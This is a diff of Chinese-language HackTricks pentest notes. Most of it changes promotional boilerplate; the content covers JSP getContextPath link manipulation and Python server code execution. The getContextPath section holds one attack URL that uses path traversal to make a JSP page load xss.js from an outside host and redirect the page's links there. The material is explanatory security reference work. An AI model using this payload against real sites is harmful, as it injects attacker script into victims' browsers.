- 你在**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# **getContextPath** 滥用
|
||||
|
||||
来自[这里](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html)的信息。
|
||||
信息来自[这里](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html)。
|
||||
```
|
||||
http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp
|
||||
```
|
||||
访问该网站,您可以将所有链接更改为请求信息到_rakeshmane.com_:
|
||||
访问该网站,您可以更改所有链接,以请求 _**rakeshmane.com**_ 的信息:
|
||||
|
||||
![](<../../.gitbook/assets/image (260).png>)
|
||||
|
||||
|
@ -30,16 +28,14 @@ http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一个**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 使用 Python 构建服务器
|
||||
## 使用python的服务器
|
||||
|
||||
测试可能的**代码执行**,使用函数 _str()_:
|
||||
```python
|
||||
|
@ -38,16 +36,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术!</strong></summary>
|
||||
|
||||
- 你在一个**网络安全公司**工作吗?你想在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
- 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue